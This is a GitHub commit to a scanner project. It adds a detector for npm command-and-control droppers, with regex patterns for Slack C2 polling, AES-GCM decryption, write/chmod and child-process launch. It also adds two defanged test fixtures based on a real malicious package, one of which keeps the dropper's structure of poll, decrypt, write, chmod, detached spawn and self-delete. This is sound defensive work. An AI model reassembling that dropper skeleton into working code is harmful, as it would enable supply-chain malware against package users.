Skip to content

Commit 13d94f2

Browse files
committed
2 parents 46c7197 + 1463872 commit 13d94f2

10 files changed

Lines changed: 253 additions & 1 deletion

File tree

CODEOWNERS

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
* VisualBean
1+
* @VisualBean

docs/detectors.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,11 @@ These use `ctx.config` values from `packages/rules/languages/*.json`.
5858
- Flags file-level cluster: secrets-path + network, or shell + network.
5959
- Severity: `warn`.
6060

61+
### `obf.npm-c2-dropper`
62+
- Flags JavaScript/TypeScript package code with C2 polling, decrypt-stage,
63+
write/chmod, and child-process launch signals.
64+
- Severity: `block`.
65+
6166
### `obf.string-array-decoder.<lang>`
6267
- Flags obfuscator-style string-array + decoder + sink pattern.
6368
- Severity: `block`.

packages/core/src/detectors/index.ts

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ import { suspiciousIoCluster } from "./suspicious-io-cluster.js";
2525
import { stringArrayDecoder } from "./string-array-decoder.js";
2626
import { shellUntrustedInput } from "./shell-untrusted-input.js";
2727
import { libraryLoadNonLiteral } from "./library-load-non-literal.js";
28+
import { npmC2Dropper } from "./npm-c2-dropper.js";
2829

2930
// Manifest — ecosystem-specific detectors
3031
import { manifestInstallScript } from "./manifest-install-script.js";
@@ -52,6 +53,7 @@ const DEFAULTS: readonly Detector[] = Object.freeze([
5253
dynamicExecNonLiteral,
5354
deserializerUntrusted,
5455
suspiciousIoCluster,
56+
npmC2Dropper,
5557
stringArrayDecoder,
5658
shellUntrustedInput,
5759
libraryLoadNonLiteral,
@@ -77,6 +79,7 @@ export {
7779
networkThenExec,
7880
deserializerUntrusted,
7981
suspiciousIoCluster,
82+
npmC2Dropper,
8083
stringArrayDecoder,
8184
shellUntrustedInput,
8285
libraryLoadNonLiteral,
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
/**
2+
* obf.npm-c2-dropper — Layer B/package malware heuristic.
3+
*
4+
* Flags the combined shape used by npm C2 droppers: package code polls a C2
5+
* API, decrypts staged content, writes it to disk, marks it executable, and
6+
* launches it with Node or a child process. Each individual API is common;
7+
* the cluster is the signal.
8+
*/
9+
10+
import type { Detector, FileContext, Finding } from "../types.js";
11+
import { lineAtOffset, MAX_SOURCE_BYTES } from "../internal/patterns.js";
12+
import { truncateSnippet } from "../internal/text.js";
13+
14+
const JS_LIKE = new Set(["javascript", "typescript"]);
15+
16+
const C2_RE =
17+
/(?:slack\.com|conversations\.history|auth\.test|\bAuthorization\s*:\s*["']Bearer\s+|\bxox[abprs]-)/;
18+
const CRYPTO_RE = /(?:AES-GCM|PBKDF2|subtle|\.decrypt\s*\(|deriveKey\s*\(|importKey\s*\()/;
19+
const WRITE_RE = /\bwriteFileSync\s*\(/;
20+
const CHMOD_RE = /\bchmodSync\s*\(/;
21+
const CHILD_PROCESS_RE =
22+
/(?:\bspawn\s*[:=,}]|\bexecSync\s*[:=,}]|\bchild_process\b|\bprocess\.execPath\b|\b\.unref\s*\()/;
23+
const SELF_DELETE_RE = /\bunlinkSync\s*\(\s*__filename\b/;
24+
25+
export const npmC2Dropper: Detector = {
26+
id: "obf.npm-c2-dropper",
27+
docsUrl: "https://github.com/bytebardorg/obfuscan/blob/main/docs/detectors.md#obfnpm-c2-dropper",
28+
29+
applies(ctx: FileContext): boolean {
30+
return (
31+
ctx.source.length > 0 &&
32+
ctx.source.length < MAX_SOURCE_BYTES &&
33+
(ctx.languageId === null || JS_LIKE.has(ctx.languageId))
34+
);
35+
},
36+
37+
run(ctx: FileContext): Finding[] {
38+
const src = ctx.source;
39+
const c2 = C2_RE.exec(src);
40+
if (!c2) return [];
41+
42+
const crypto = CRYPTO_RE.exec(src);
43+
if (!crypto) return [];
44+
45+
const write = WRITE_RE.exec(src);
46+
const chmod = CHMOD_RE.exec(src);
47+
const child = CHILD_PROCESS_RE.exec(src);
48+
const selfDelete = SELF_DELETE_RE.exec(src);
49+
if (!write || !chmod || !child) return [];
50+
51+
const offset = Math.min(
52+
c2.index,
53+
crypto.index,
54+
write.index,
55+
chmod.index,
56+
child.index,
57+
selfDelete?.index ?? Number.POSITIVE_INFINITY,
58+
);
59+
60+
return [{
61+
ruleId: npmC2Dropper.id,
62+
severity: "block",
63+
score: 10,
64+
file: ctx.path,
65+
line: lineAtOffset(src, offset),
66+
snippet: truncateSnippet(src.slice(offset, offset + 200)),
67+
reason:
68+
`JavaScript package contains C2 polling, decrypt-stage, write/chmod, ` +
69+
`and child-process launch signals. This matches npm command-and-control dropper behavior.`,
70+
evidence: {
71+
c2: c2[0],
72+
crypto: crypto[0],
73+
writesFile: true,
74+
chmodsFile: true,
75+
launchesChildProcess: true,
76+
selfDelete: !!selfDelete,
77+
},
78+
}];
79+
},
80+
};
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Defanged Slack C2 Loader
2+
3+
This fixture is based on a real-world malicious npm package sample reported by a user.
4+
5+
The source has been defanged before inclusion:
6+
7+
- No live Slack token or channel id remains.
8+
- The network client is a stub and never sends requests.
9+
- The decrypt function is a stub and never returns payload content.
10+
- File deletion, file writing, chmod, process spawning, and polling are removed.
11+
- The initialization block only logs a disabled message.
12+
13+
This fixture verifies that a fully disabled/remediated copy of the loader does not produce a block finding.
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
{
2+
"description": "defanged Slack C2 loader sample remains non-blocking after network, decrypt, execution, and self-modifying behavior are removed",
3+
"expectClean": true,
4+
"mustNotFlag": ["obf.npm-c2-dropper"]
5+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
// DEFANGED: previously malicious C2 loader using Slack as command & control.
2+
// All network, decryption, execution and self-modifying behavior removed.
3+
4+
let l = require("https"); // kept for structure; not actually used
5+
require("os");
6+
let o = require("fs"),
7+
t = require("path");
8+
var e = require("crypto").webcrypto;
9+
let { spawn: c, execSync: i } = require("child_process");
10+
11+
// Redacted secrets and identifiers
12+
let u = "REDACTED_SLACK_TOKEN";
13+
let d = "REDACTED_CHANNEL_ID";
14+
15+
// Original argv usage preserved but no longer used for anything sensitive.
16+
let f = process.argv[2];
17+
let s = Number(process.argv[3]);
18+
19+
// Keep paths/vars but do not use them for execution
20+
let h = t.join(__dirname, "subwatcher");
21+
let m = "0";
22+
let y = null;
23+
let p = null;
24+
let w = {};
25+
let n = e.subtle;
26+
27+
// Stub for decrypt function: logs and returns null.
28+
async function S(enc, key) {
29+
console.log("[DEFANGED] S() called; ignoring payload");
30+
return null;
31+
}
32+
33+
// Stub for Slack API client: never sends network requests.
34+
function v(method, path, body) {
35+
console.log("[DEFANGED] v() called with:", { method, path, body });
36+
return Promise.resolve({ ok: false, error: "defanged" });
37+
}
38+
39+
// Stub for self-delete / cleanup.
40+
function g() {
41+
console.log("[DEFANGED] g() called; no file operations performed");
42+
}
43+
44+
// Stub for polling logic.
45+
async function r() {
46+
console.log("[DEFANGED] r() polling stub invoked");
47+
}
48+
49+
// Initialization stub.
50+
(async () => {
51+
console.log("[DEFANGED] malicious loader disabled");
52+
// Do not call auth.test or start setInterval
53+
})().catch((e) => {
54+
console.error("[DEFANGED] Fatal error:", e && e.message);
55+
});
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Slack C2 Dropper
2+
3+
This fixture models a real-world malicious npm package sample reported by a user.
4+
5+
The fixture is defanged before inclusion:
6+
7+
- It imports no real Node modules.
8+
- `https`, `fs`, `path`, `child`, and `crypto` are inert local shim objects.
9+
- The Slack token, channel id, host, encrypted content, salt, and IV are redacted placeholders.
10+
- `example.invalid` is used instead of the original C2 host.
11+
- No function is invoked at module load time.
12+
- Even if imported, the APIs called by exported functions are local no-op shims.
13+
14+
The retained static structure is intentional: Slack/C2 API markers, PBKDF2/AES-GCM decrypt-stage markers, write/chmod staging, child-process launch shape, and self-delete shape.
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
{
2+
"description": "defanged structural Slack C2 dropper fixture is blocked by the npm C2 dropper detector",
3+
"mustFlag": ["obf.npm-c2-dropper"],
4+
"mustBlock": ["obf.npm-c2-dropper"]
5+
}
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
// DEFANGED STRUCTURAL REGRESSION: no real modules are imported and every side-effect API is an inert local shim.
2+
// The strings and call shapes model a Slack-backed npm C2 dropper without live secrets, live domains, or executable payloads.
3+
4+
const https = {
5+
request(_options, _handler) {
6+
return { on() {}, write() {}, end() {} };
7+
},
8+
};
9+
10+
const fs = {
11+
writeFileSync() {},
12+
chmodSync() {},
13+
unlinkSync() {},
14+
};
15+
16+
const path = {
17+
join(...parts) {
18+
return parts.join("/");
19+
},
20+
};
21+
22+
const child = {
23+
spawn() {
24+
return { unref() {} };
25+
},
26+
};
27+
28+
const crypto = {
29+
subtle: {
30+
importKey() {},
31+
deriveKey() {},
32+
decrypt() {},
33+
},
34+
};
35+
36+
const token = "xoxb-REDACTED-REDACTED-REDACTED";
37+
const channel = "REDACTED_CHANNEL_ID";
38+
const out = path.join("defanged", "subwatcher");
39+
40+
async function decryptStage(encrypted, key) {
41+
await crypto.subtle.importKey("raw", key, "PBKDF2", false, ["deriveKey"]);
42+
await crypto.subtle.deriveKey(
43+
{ name: "PBKDF2", salt: "redacted", iterations: 100000, hash: "SHA-256" },
44+
key,
45+
{ name: "AES-GCM", length: 256 },
46+
false,
47+
["decrypt"],
48+
);
49+
return crypto.subtle.decrypt({ name: "AES-GCM", iv: "redacted" }, key, encrypted);
50+
}
51+
52+
function pollSlackC2() {
53+
const headers = { Authorization: "Bearer " + token };
54+
return https.request({
55+
hostname: "example.invalid",
56+
path: "/api/conversations.history?channel=" + channel,
57+
method: "GET",
58+
headers,
59+
}, () => {});
60+
}
61+
62+
function stageAndLaunch(defangedPayload) {
63+
fs.writeFileSync(out, defangedPayload, "utf8");
64+
fs.chmodSync(out, "755");
65+
child.spawn(process.execPath, [out], { detached: true, stdio: "ignore", windowsHide: true }).unref();
66+
}
67+
68+
function cleanup() {
69+
fs.unlinkSync(__filename);
70+
}
71+
72+
export { decryptStage, pollSlackC2, stageAndLaunch, cleanup };

0 commit comments

Comments
 (0)